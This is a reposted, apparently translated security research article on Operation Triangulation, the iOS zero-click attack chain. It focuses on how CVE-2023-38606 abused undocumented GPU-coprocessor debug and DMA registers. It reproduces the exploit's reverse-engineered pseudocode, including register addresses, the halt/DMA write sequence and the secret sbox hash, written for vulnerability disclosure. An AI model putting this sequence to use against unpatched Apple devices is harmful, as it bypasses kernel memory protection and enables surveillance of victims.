Operation Triangulation: The Last (Hardware) Mystery

Disclaimer:The programs (methods) mentioned in this article may be offensive and are intended for security research and educational purposes only. Readers assume all legal and joint responsibilities for any other use of this information; the author of the article bears no legal or joint responsibility.

This article was first published on the author’s personal blog:https://mybeibei.net, click the “Read Original” link at the bottom to jump directly to the view.

Background Introduction

The author, Boris Larin from Kaspersky, along with two colleagues, Leonid Bezvershenko and Georgy Kucherin, presented a talk titled “Operation Triangulation: What You Get When Attack iPhones of Researchers” at the 37th Chaos Communication Congress (37C3) on December 27, 2023. The report summarized their long-term research results on Operation Triangulation, marking their first public disclosure of all the exploits and vulnerabilities used in the attack. Although they have discovered and reported over 30 crazy zero-day attacks in Adobe, Apple, Google, and Microsoft products, this vulnerability is undoubtedly the most complex attack chain seen to date.

Operation Triangulation Attack Chain

Operation Triangulation: The Last (Hardware) Mystery
  • The attack chain utilized four zero-day vulnerabilities that can run on iOS 16.2 and below.

  • The attacker sends a malicious iMessage attachment, which the application processes without showing any signs to the user.

  • This attachment exploits an undocumented remote code execution vulnerability CVE-2023-41990 in Apple’s TrueType font instructions, which have existed since the early 1990s and were later removed by Apple in a patch.

  • It uses ROP/JOP, employing multiple stages written in NSExpression/NSPredicate query language to patch the JavaScriptCore library environment to execute a privilege escalation vulnerability written in JavaScript.

  • This JavaScript exploit is obfuscated to make it completely unreadable and minimized in size, yet it still contains about 11,000 lines of code, primarily for parsing and manipulating JavaScriptCore and kernel memory.

  • It leverages the JavaScriptCore debugging feature DollarVM ($VM) to gain the ability to manipulate JavaScriptCore memory from scripts and execute native API functions.

  • Its design supports both older and newer iPhones, including a pointer authentication code (PAC) bypass to exploit recent models.

  • It gains read/write access to the entire physical memory of the device at the user level using an integer overflow vulnerability CVE-2023-32434 in the XNU memory mapping system calls (mach_make_Memory_Entry and VM_map).

  • It bypasses the page protection layer (PPL) using hardware memory-mapped I/O (MMIO) registers, which have been mitigated as CVE-2023-38606.

  • After exploiting all vulnerabilities, the JavaScript exploit can do anything it wants on the device, including running spyware, but the attacker chooses to: (A) start the IMAgent process and inject a payload to clean up the vulnerabilities on the device; (B) run the Safari process invisibly and forward it to the next stage webpage.

  • The webpage contains a script to validate the victim, and if the check passes, it receives the next stage: a Safari exploit attack.

  • The Safari exploit utilizes CVE-2023-32435 to execute shellcode.

  • The shellcode executes another kernel exploit in the form of a Mach object file, which uses the same vulnerabilities: CVE-2023-32434 and CVE-2023-38606, with significant size and functionality, but is entirely different from the kernel exploit written in JavaScript. Some parts related to exploiting the aforementioned vulnerabilities are common to both. Nevertheless, most of its code is also dedicated to parsing and manipulating kernel memory, containing various post-exploitation utilities, most of which are unused.

  • The exploit gains superuser privileges and continues executing additional stages to load spyware.

Boris Larin and the team have nearly completed reverse engineering every aspect of this attack chain, and they will publish a series of articles next year detailing each vulnerability and how they were exploited. However, they currently do not fully understand one specific vulnerability.

CVE-2023-38606 Vulnerability and Mystery

The following discussion pertains to the issues related to the vulnerability that has been mitigated as CVE-2023-38606. Recent iPhone models provide additional hardware-based security protections for sensitive areas of kernel memory. If an attacker can read and write kernel memory, this protection can prevent them from gaining full control of the device, as achieved in this attack by exploiting CVE-2023-32434. Researchers found that to bypass this hardware-based security protection, the attacker used another hardware feature of the Apple-designed SoC.

To describe this feature and how the attacker exploited it, everything can be summarized as: they were able to write data to specific physical addresses while bypassing hardware memory protection by writing data, target addresses, and data hashes to unknown hardware registers on the chip that were not used by the firmware.

The researchers speculate that this unknown hardware feature was likely designed by Apple engineers or factories for debugging or testing purposes, or it was mistakenly included. Since the firmware does not use this feature, the researchers do not know how the attacker learned about it and how to use it.

The researchers are disclosing technical details so that other iOS security researchers can verify their findings and propose possible explanations for how the attacker learned about this hardware feature.

Technical Details

Various peripherals available in the SoC can provide special hardware registers that can be used by the CPU to operate these devices. For this purpose, these hardware registers are mapped to memory accessible by the CPU and are referred to as “memory-mapped I/O (MMIO).”

The MMIO address ranges of peripherals in Apple products (iPhone, Mac, etc.) are stored in a special file format: DeviceTree, which can be extracted from the firmware, and its contents can be viewed with the dt utility.

Operation Triangulation: The Last (Hardware) Mystery

Example of how MMIO ranges are stored in the device tree

For instance, in this screenshot, you can see the start (0x210f00000) and size (0x50000) of the MMIO range for cpu0’s Acc-Impll.

When analyzing the exploits used in the Operation Triangulation attack, researchers found that most of the MMIO used by the attacker to bypass hardware kernel memory protection did not belong to any MMIO range defined in the device tree.

The attack targeted the Apple A12-A16 Bionic SoC, specifically an unknown block of MMIO registers located at the following addresses: 0x206040000, 0x206140000, and 0x206150000.

The researchers examined the kernel image, kernel extensions, iBoot, and coprocessor firmware for direct references to these addresses: the result was no findings.

How could the MMIO used in the exploit not be utilized by the firmware? How did the attacker discover them? What peripherals do these MMIO addresses belong to?

Boris Larin suddenly thought to check what known MMIOs were near these unknown MMIO blocks, and evidently, this approach was successful.

Let’s take a look at the dump of the device tree entry for gfx-asc, which is the GPU coprocessor:

Operation Triangulation: The Last (Hardware) Mystery

Dump of the device tree entry for gfx-asc

It has two MMIO ranges: 0x206400000-0x20646C000 and 0x206050000-0x206050008. Let’s see how they relate to the areas used in the exploit.

Operation Triangulation: The Last (Hardware) Mystery

Relation of Gfx-asc MMIO ranges to the addresses used in the exploit attack

More specifically, the exploit used the following unknown addresses: 0x206040000, 0x206140008, 0x206140108, 0x206150020, 0x206150040, and 0x206150048, most of which are located in the area between the two GFX-ASC ranges, with the remaining one near the beginning of the first GFX-ASC range.

This suggests that all these MMIO registers likely belong to the GPU coprocessor!

After this, Boris Larin carefully studied this vulnerability and discovered another thing that confirmed his theory: the exploit does the first thing during initialization by writing to other MMIO registers, which are located at different addresses in each SoC.

if (cpuid == 0x8765EDEA):   # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
    base = 0x23B700408
    command = 0x1F0023FF

elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
    base = 0x23B7003C8
    command = 0x1F0023FF

elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
    base = 0x23B7003D0
    command = 0x1F0023FF

elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
    base = 0x23B080390
    command = 0x1F0003FF

elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
    base = 0x23B080388
    command = 0x1F0003FF

if ((~read_dword(base) & 0xF) != 0):
    write_dword(base, command)
    while(True):
        if ((~read_dword(base) & 0xF) == 0):
            break

Pseudocode for the GFX power manager control code used in the exploit

With the help of the device tree and Siguza’s pmgr utility, it was possible to discover that all these addresses correspond to GFX registers within the power manager MMIO range.

Finally, when Boris Larin decided to try accessing the registers located in these unknown areas, he received a third confirmation. Almost simultaneously, the GPU coprocessor crashed and displayed a message: “GFX SERROR Exception class=0x2f (SError interrupt), IL=1, iss=0 – power(1).”

This way, it was basically confirmed that all these unknown MMIO registers used for the exploit belong to the GPU coprocessor.

This prompted Boris Larin to delve deeper into its firmware, which is written in ARM and is unencrypted, but nothing related to these registers could be found there.

Boris Larin decided to take a closer look at how the exploit operated on these unknown MMIO registers, with register 0x206040000 standing out from all the others as it is located in an MMIO block independent of all other registers.

It is triggered only during the initialization and termination phases of the exploit: it sets the first register during initialization and sets the last register during termination.

Judging by experience, it is clear that the register either enables/disables the exploit or controls hardware features used for interrupts.

Boris Larin began to follow the interrupt route and soon identified this unknown register 0x206040000, while also discovering the exact contents mapped to the address range 0x206000000-0x206050000. Below, you can see the identifiable reverse engineering code of the exploit.

def ml_dbgwrap_halt_cpu():

    value = read_qword(0x206040000)

    if ((value & 0x90000000) != 0):
        return

    write_qword(0x206040000, value | 0x80000000)

    while (True):
        if ((read_qword(0x206040000) & 0x10000000) != 0):
            break

def ml_dbgwrap_unhalt_cpu():

    value = read_qword(0x206040000)

    value = (value & 0xFFFFFFFF2FFFFFFF) | 0x40000000
    write_qword(0x206040000, value)

    while (True):
        if ((read_qword(0x206040000) & 0x10000000) == 0):
            break

Pseudocode for the exploit using register 0x206040000

Boris Larin was able to match the ml_DBGWRAP_HALT_cpu function in the pseudocode above with the identically named function in the dbgwrap.c file of the XNU source code, which contains code that uses the ARM CoreSight MMIO debugging registers of the main CPU. The source code indicates that there are four CoreSight-related MMIO regions: ED, CTI, PMU, and UTT, each occupying 0x10000 bytes and located adjacent to each other.

Unlike the other three, the source code indicates that it is not from ARM but is an Apple proprietary feature added for convenience.

By writing the ARM_DBG_LOCK_ACCESS_KEY to the appropriate location, it was confirmed that 0x206000000-0x206050000 is indeed the CoreSight MMIO debugging register block for the GPU coprocessor.

Each core of the main CPU has its own CoreSight MMIO debugging register block, but unlike the GPU coprocessor, their addresses can be found in the device tree.

Interestingly, the author of this exploit knew how to use the Apple UTT proprietary area to unhalt the CPU: this code is not part of the XNU source code.

What could not be found in this way is what the attacker did with the registers in the second unknown area. The researchers are uncertain which blocks of MMIO debugging registers are located there, or how the attacker discovered how to use them if the firmware did not use them.

Let’s take a look at the remaining unknown registers used in the exploit.

Registers 0x206140008 and 0x206140108 control enabling/disabling and running hardware features used by the exploit.

def dma_ctrl_1():

    ctrl = 0x206140108

    value = read_qword(ctrl)
    write_qword(ctrl, value | 0x8000000000000001)
    sleep(1)

    while ((~read_qword(ctrl) & 0x8000000000000001) != 0):
        sleep(1)

def dma_ctrl_2(flag):

    ctrl = 0x206140008

    value = read_qword(ctrl)

    if (flag): 
        if ((value & 0x1000000000000000) == 0):
            value = value | 0x1000000000000000 
            write_qword(ctrl, value)
    else:
        if ((value & 0x1000000000000000) != 0):
            value = value & ~0x1000000000000000 
            write_qword(ctrl, value)

def dma_ctrl_3(value):

    ctrl = 0x206140108

    value = value | 0x8000000000000000

    write_qword(ctrl, read_qword(ctrl) & value)

    while ((read_qword(ctrl) & 0x8000000000000001) != 0):
        sleep(1)

def dma_init(original_value_0x206140108):

    dma_ctrl_1()
    dma_ctrl_2(False)
    dma_ctrl_3(original_value_0x206140108)

def dma_done(original_value_0x206140108):

    dma_ctrl_1()
    dma_ctrl_2(True)
    dma_ctrl_3(original_value_0x206140108)

Pseudocode for the exploit using registers 0x206140008 and 0x206140108

Register 0x206150020 is used only for Apple A15/A16 Bionic SoCs, set to 1 during the initialization phase of the exploit and set back to its original value during the completion phase.

Register 0x206150040 is used to store some flags and the lower half of the target physical address.

The final register, 0x206150048, is used to store the data to be written and the upper half of the target physical address, bundled with the data hash and another value (possibly a command).

This hardware feature writes data in 0x40-byte aligned blocks, and all data should be written to register 0x206150048 in nine sequential writes.

if (cpuid == 0x8765EDEA):   # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
    i = 8
    mask = 0x7FFFFFF

elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
    i = 8
    mask = 0x3FFFFF

elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
    i = 0x28
    mask = 0x3FFFFF

elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
    i = 0x28
    mask = 0x3FFFFF

elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
    i = 0x28
    mask = 0x3FFFFF

dma_init(original_value_0x206140108)

hash1 = calculate_hash(data)
hash2 = calculate_hash(data+0x20)

write_qword(0x206150040, 0x2000000 | (phys_addr & 0x3FC0))

pos = 0
while (pos < 0x40):
    write_qword(0x206150048, read_qword(data + pos))
    pos += 8

phys_addr_upper = ((((phys_addr >> 14) & mask) << 18) & 0x3FFFFFFFFFFFF)
value = phys_addr_upper | (hash1 << i) | (hash2 << 50) | 0x1F
write_qword(0x206150048, value)

dma_done(original_value_0x206140108)

Pseudocode for the exploit using registers 0x206150040 and 0x206150048

Once everything is correctly completed, the hardware will perform a direct memory access (DMA) operation and write the data to the requested location.

This exploit attack uses this hardware feature as a page protection layer (PPL) bypass, primarily to patch page table entries, and it can also be used to patch data in the protected __PPLDATA segment.

The exploit does not use this feature to patch kernel code, but during testing, researchers were able to overwrite an instruction in the kernel __TEXT_EXEC segment and obtain an “Undefined Kernel Instruction” crash with the expected address and value.

This only succeeded once—during other attempts, they encountered AMCC crashes.

Now that all the workings of the MMIO registers have been discussed, let’s look at one last thing: how the hash is calculated. The algorithm is as follows:

sbox = [
    0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016,
    0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043, 
    0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045,
    0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117,
    0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D,
    0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7, 
    0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105,
    0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C,
    0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3,
    0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D, 
    0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206,
    0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B,
    0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058,
    0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC, 
    0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313,
    0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1,
    0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315,
    0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3, 
    0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141,
    0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8,
    0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070,
    0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241, 
    0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144,
    0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281,
    0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0,
    0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4, 
    0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394,
    0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,
    0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250,
    0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4, 
    0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260,
    0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380
]

def calculate_hash(buffer):

    acc = 0
    for i in range(8):
        pos = i * 4
        value = read_dword(buffer + pos)
        for j in range(32):
            if (((value >> j) & 1) != 0):
                acc ^= sbox[32 * i + j]

    return acc

As seen above, this is a custom algorithm, and the hash is calculated using a predefined sbox table. The researchers tried to search for it in a large number of binary files but found nothing.

You may notice that this hash does not seem secure, as it only occupies 20 bits (10+10, since it is calculated twice), but as long as no one knows how to calculate and use it, it does its job, which can be described in the best terms as “security by obscurity.”

If this hardware feature is not used and there are no instructions in the firmware on how to use it, how did the attacker discover and exploit this hardware feature?

The researchers conducted another test and found that the M1 chip inside Macs also has this unknown hardware feature. They conducted an experiment using the m1n1 tool, which has a trace_range function that tracks all accesses to the provided MMIO register range. They used it to set the memory range 0x206110000 – 0x206400000 for tracking, but it reported that macOS did not use these registers.

In a presentation titled “Hacking Sony PlayStation Blu-ray Drives,” the researchers discussed how to dump firmware from Sony PlayStation 3 and 4 Blu-ray drives and achieve code execution by using MMIO DMA registers accessible via SCSI commands.

Operation Triangulation: The Last (Hardware) Mystery

Because earlier versions of the firmware used these registers for all DRAM operations, Sony later stopped using them and began accessing DRAM directly, as all DRAM is also mapped to the CPU address space.

Since no one uses these registers anymore, and some people know how to use them, they could be exploited. Would a similar thing happen in this case? It is still uncertain, but this GPU coprocessor first appeared in recent Apple SoCs.

In Boris Larin’s personal view, based on all the information provided above, he is very skeptical that retail firmware has ever used this hardware feature.

However, there is also a possibility that it was previously revealed in some specific firmware or XNU source code releases and then removed.

Boris Larin hopes to find out the location of the second unknown area from the fix for this vulnerability implemented in iOS 16.6, perhaps to uncover how Apple mitigated this issue, but Apple obfuscated the fix.

Apple mitigated this vulnerability by adding the MMIO ranges used by the exploit, 0x206000000-0x206050000 and 0x206110000-0x206400000, to the pmap-io-range stored in the device tree.

XNU utilizes the information stored there to determine whether to allow mapping certain physical addresses, and all entries stored here have a meaningful label name indicating what type of memory the range belongs to.

Operation Triangulation: The Last (Hardware) Mystery

Example of entries stored in pmap-io-range

Here, PCIe stands for “Peripheral Component Interconnect Express,” DART stands for “Device Address Resolution Table,” DAPF stands for “Device Address Filter,” and so on.

Below are the label names for the areas used by the exploit, which stand out from those of other companies.

Operation Triangulation: The Last (Hardware) Mystery

Entries for the areas used by the exploit

Conclusion

This is not an ordinary vulnerability; there are many unresolved questions. Researchers do not know how the attacker learned to use this unknown hardware feature, nor do they know its original purpose. It is also unclear whether it was developed by Apple or is a third-party component like ARM CoreSight.

What we know is that as long as there is a hardware feature that can bypass these protections, advanced hardware-based protections are useless in the face of sophisticated attackers, and this vulnerability proves that.

Hardware security often relies on “security through obscurity,” which is harder to reverse engineer than software, but this is a flawed approach because sooner or later, all secrets will be revealed.

Systems that rely on “security through obscurity” can never be truly secure.

Original article link: https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/

Thank you for reading! If you found this article interesting, feel free to share it with more friends who would love it!

==== End of Article ====

Leave a Comment